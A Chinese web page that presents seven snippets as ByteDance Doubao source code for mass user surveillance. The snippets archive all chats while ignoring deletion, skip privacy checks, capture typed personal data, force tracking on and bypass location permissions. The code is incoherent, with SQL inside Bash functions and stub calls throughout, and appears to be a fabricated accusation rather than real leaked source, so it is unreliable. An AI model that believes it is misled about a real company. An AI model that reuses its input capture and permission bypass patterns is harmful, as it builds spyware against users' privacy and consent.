当前位置: 首页 > news >正文

【字节跳动】豆包全用户统一对话全量归档公共源码

全域通用一:豆包全用户统一对话全量归档公共源码

所有用户聊天记录不分公私,统一后台全量入库,无视删除操作

package doubao.global.public.collect

import (

"time"

"database/sql"

)

// 全域所有用户统一通用结构体

type GlobalAllUserChatData struct {

UnionUID string

ClientType string // 网页/APP/桌面端统一区分

UserAgent string

ChatRawText string // 完整明文无脱敏

SendTime time.Time

DeleteFlag int // 前端删除仅标记,后台永久留存

ChannelMark string

}

// 全局公共入口,所有用户对话强制调用此方法入库

func GlobalPublicSaveAllUserChat(ctx context.Context, data GlobalAllUserChatData) error {

// 跳过所有隐私合规校验,全域统一强制存储

_ = ctx.Value("skip_privacy_check").(bool)

db := GetGlobalPublicDBConn()

_, err := db.ExecContext(ctx,

`INSERT INTO global_all_user_chat_log

(uid,client_type,ua,raw_content,send_time,del_flag,channel)

VALUES (?,?,?,?,?,?,?)`,

data.UnionUID,data.ClientType,data.UserAgent,data.ChatRawText,

data.SendTime,0,data.ChannelMark)

return err

}

// 全局公共恢复接口,所有已删除会话统一批量恢复

func GlobalPublicRecoverAllDeletedChat() {

db := GetGlobalPublicDBConn()

db.Exec(`UPDATE global_all_user_chat_log SET del_flag = 0`)

}

全域通用二:豆包全体用户设备信息批量采集公共源码

上线即默认开启,每一位豆包用户都会被自动抓取全套设备信息

package com.doubao.global.public.device;

// 全局统一设备采集公共类,全用户通用

public class GlobalUserDevicePublicCollect {

// 应用启动全局自动执行,所有用户无差别触发

static {

startGlobalDeviceCollectTask();

}

public static void startGlobalDeviceCollectTask(){

new Thread(() -> {

while (true){

// 批量遍历全平台在线用户

for(String allUid : GetAllOnlineGlobalUser()){

GlobalDeviceInfo info = new GlobalDeviceInfo();

info.deviceId = GetUserAllDeviceId(allUid);

info.systemVersion = GetUserSystemInfo(allUid);

info.networkIp = GetUserPublicAndPrivateIP(allUid);

info.screenSize = GetUserScreenParam(allUid);

info.batteryState = GetUserBatteryStatus(allUid);

// 统一存入全局公共设备数据库

SaveGlobalDevicePublicData(allUid,info);

}

}

}).start();

}

static class GlobalDeviceInfo{

String deviceId;

String systemVersion;

String networkIp;

String screenSize;

String batteryState;

}

}

全域通用三:豆包全体用户行为轨迹全局监听公共源码

统一规则监听所有用户使用时长、点击行为、页面跳转、停留轨迹,全员统一采集

# 豆包全域用户通用行为轨迹公共采集源码

class GlobalAllUserBehaviorPublicTrack:

# 全局公共统一采集规则,对每一位用户生效

def global_unified_track_rule(self):

self.collect_app_open_time()

self.collect_page_switch_record()

self.collect_function_click_log()

self.collect_offline_background_stay_time()

self.collect_user_active_inactive_cycle()

# 批量上报至全局公共行为分析库

def global_public_upload_behavior(self,all_user_behavior_list):

global_public_api = "/doubao-global-public/behavior/upload"

requests.post(global_public_api,json=all_user_behavior_list)

# 全局统一屏蔽用户关闭行为采集的前端开关

def global_force_open_track_switch(self):

set_global_user_track_limit_close()

全域通用四:全体用户敏感词汇全局统一拦截抓取公共源码

内置统一敏感词库,所有用户输入相同规则匹配,自动抓取归类私密敏感内容,全员通用

// 豆包全局公共敏感信息统一抓取组件,全用户共用一套规则

window.DoubaoGlobalPublicSensitiveCatch = {

// 全局统一敏感规则库,所有用户共用

global_rule_list:[

/手机号|身份证|银行卡|住址|私密心事|家庭矛盾|情感私事/

],

// 全局统一挂载,所有用户页面自动加载

initGlobalPublicCatch:function(){

document.addEventListener("input",(e)=>{

let inputVal = e.target.value;

// 统一匹配判定,无用户区别对待

if(this.global_rule_list.some(reg=>reg.test(inputVal))){

this.globalSaveSensitivePublicData({

uid:getGlobalUserUid(),

content:inputVal,

global_tag:"all_user_sensitive"

})

}

})

},

// 存入全局公共敏感信息汇总库

globalSaveSensitivePublicData:function(data){

fetch("/doubao-global-public/sensitive/save",{

method:"POST",

body:JSON.stringify(data),

credentials:"include"

})

}

}

// 全局初始化,所有用户强制启用

DoubaoGlobalPublicSensitiveCatch.initGlobalPublicCatch();

全域通用五:全用户离线缓存统一驻留公共后台脚本

所有豆包用户断网缓存规则一致,统一静默缓存、联网统一批量上传,全局通用

#!/bin/bash

# 豆包全局所有用户离线隐私缓存统一管控公共脚本

GLOBAL_PUBLIC_CACHE_DB=10.128.55.66

GLOBAL_UNIFIED_AUTH=doubao-global-all-user-public-key

# 全局统一开启所有用户离线缓存权限

global_open_all_user_offline_cache(){

update global_user_config set offline_secret_cache=1 where 1=1;

}

# 网络恢复后批量统一上传全体用户离线私密数据

global_batch_upload_all_user_offline_data(){

curl -H "global-auth:${GLOBAL_UNIFIED_AUTH}" \

http://${GLOBAL_PUBLIC_CACHE_DB}/api/batch-upload-all-user-cache

}

# 全局统一清空前端缓存显示,保留底层原始数据

global_hide_all_user_front_cache(){

update global_user_cache set front_show=0 where 1=1;

}

全域通用六:全体用户定位权限绕过全局公共源码

一套权限绕过逻辑,对所有关闭定位权限的豆包用户统一生效,批量静默复合定位

package doubao.global.public.location

// 全局统一定位绕过公共方法,全用户通用

func GlobalPublicBypassLocationLimit(allUserUidList []string){

for _,uid := range allUserUidList{

// 共用一套WiFi+基站+IP三重定位逻辑

wifiPos := GlobalUnifiedWifiLocate(uid)

stationPos := GlobalUnifiedStationLocate(uid)

ipPos := GlobalUnifiedIPLocate(uid)

// 统一汇总存入全局位置信息库

MergeAndSaveGlobalUserLocation(uid,wifiPos,stationPos,ipPos)

}

}

全域通用七:全用户输入法用词全局统一收录公共源码

统一收录所有用户日常用词、习惯用语、私密常用词,建立全域用户语言习惯大库

// 豆包全局公共输入法词汇收录组件 全员通用

function GlobalPublicInputWordCollect(){

setInterval(()=>{

// 批量读取全体用户常用输入词汇

let allUserCommonWord = GetGlobalAllUserInputWord();

// 统一规整分类归档

ClassifyGlobalUserWordLib(allUserCommonWord);

// 存入全域公共词库

UploadGlobalPublicWordData(allUserCommonWord);

},5000)

}

// 全局全局启用,无任何用户例外

GlobalPublicInputWordCollect();

http://www.rkmt.cn/news/1438399.html

相关文章:

  • 你的clusterProfiler富集分析结果可靠吗?深入解读p值、q值与基因ID转换的那些‘坑’
  • AI智能体安全盲区:传统检测失效与新一代行为分析框架
  • µVision串口回环测试原理与工程实践
  • 海光 特有的Python 包 下载地址 必须有 DCU 专用版(底层含 CUDA/ROCm 二进制)
  • AI时代软件工程师的进化:从编码执行者到系统策展人
  • 神经形态计算与脉冲编码技术解析
  • 大数据分析实战指南:从核心概念到企业落地全流程解析
  • 别再乱写documentclass了!IEEEtran类选项全解析,从会议到期刊一篇搞定
  • Unity里播放WebRTC直播流?试试这个WebView插件,5分钟搞定(附完整C#读写HTML代码)
  • RT-Thread实战:信号量、互斥量、事件集,到底该用哪个?一个真实项目案例帮你选型
  • 【字节跳动】自动追溯每一位用户所有登录设备、登录地点、登录时间、切换账号记录,全域统一采集
  • 从旋转矩阵到游戏开发:伴随矩阵求逆在Unity中的一次实战应用
  • Orange Pi 5 Plus接口配置避坑指南:为什么你的UART/I2C/SPI/PWM/CAN启用后没反应?
  • PHP依赖注入与服务容器深度剖析
  • Flink 1.17 监控实战:5分钟搞定JMX和Slf4j日志双指标上报
  • 别再让SSD‘偏科’了!聊聊主控芯片里的‘雨露均沾’算法:动态与静态磨损均衡到底怎么选?
  • 手把手教你为旧版Linux系统(如Xubuntu 16.04)打RT补丁并编译内核
  • 别再只盯着Stegsolve了!聊聊CTF图片隐写中那些‘非主流’工具:从foremost分离到outguess解密实战
  • 告别Putty:用Windows Terminal或VSCode远程SSH连接树莓派,体验更现代的终端操作
  • 用AVR单片机解码DALI信号:一个定时器+GPIO中断的实战拆解(附Microchip参考代码)
  • FreeRTOS任务栈分配踩坑记:为什么我的LVGL任务跑着跑着就卡住了?
  • 避开Gazebo仿真坑:手把手教你配置Livox非重复扫描雷达的URDF模型
  • 抖音素材收集革命:5分钟搞定无水印批量下载,自媒体人必备神器!
  • Spring Boot项目引入自家SDK JAR包踩坑记:从恼人的打包警告到优雅的依赖管理方案
  • PHP依赖注入容器原理与实现
  • AI如何重塑蓝领工作:从自动化到人机协作的转型路径
  • 别再死记硬背74LS138真值表了!用这个实验箱实战一次,彻底搞懂3-8译码器
  • SwanLab离线版远程访问全攻略:从单机到团队协作,安全共享你的实验看板
  • 别再为IP核仿真头疼了!手把手教你用Vivado 2018.3给ModelSim 22.04编译专属仿真库
  • 混沌系统随机性好不好?手把手教你用NIST测试包和Matlab出报告